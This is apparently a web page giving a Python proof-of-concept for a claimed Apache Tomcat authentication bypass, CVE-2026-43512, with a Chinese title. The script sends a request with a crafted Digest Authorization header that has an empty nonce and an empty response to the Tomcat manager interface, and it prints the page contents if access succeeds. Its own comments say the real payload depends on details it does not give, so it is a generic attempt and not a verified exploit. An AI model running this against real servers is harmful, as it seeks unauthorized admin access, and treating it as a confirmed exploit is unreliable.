CVE-2026-43512 Apache Tomcat认证绕过漏洞

import requests # Target URL (A protected resource requiring Digest Auth) target_url = "http://target-tomcat:8080/manager/html" # In a real digest auth bypass scenario, the specific manipulation depends on the bug. # This PoC demonstrates attempting to access a resource without valid credentials # or with a malformed Authorization header to trigger the bypass. headers = { # Attempting to bypass by sending a malformed or crafted Authorization header # The exact payload depends on the specific vulnerability details. "Authorization": "Digest username=\"admin\", realm=\"Tomcat Manager Application\", nonce=\"\", uri=\"/manager/html\", response=\"\"" } try: response = requests.get(target_url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Potential Bypass Successful! Resource accessed.") print("[+] Response Body:") print(response.text[:500]) else: print(f"[-] Bypass Failed. Status Code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")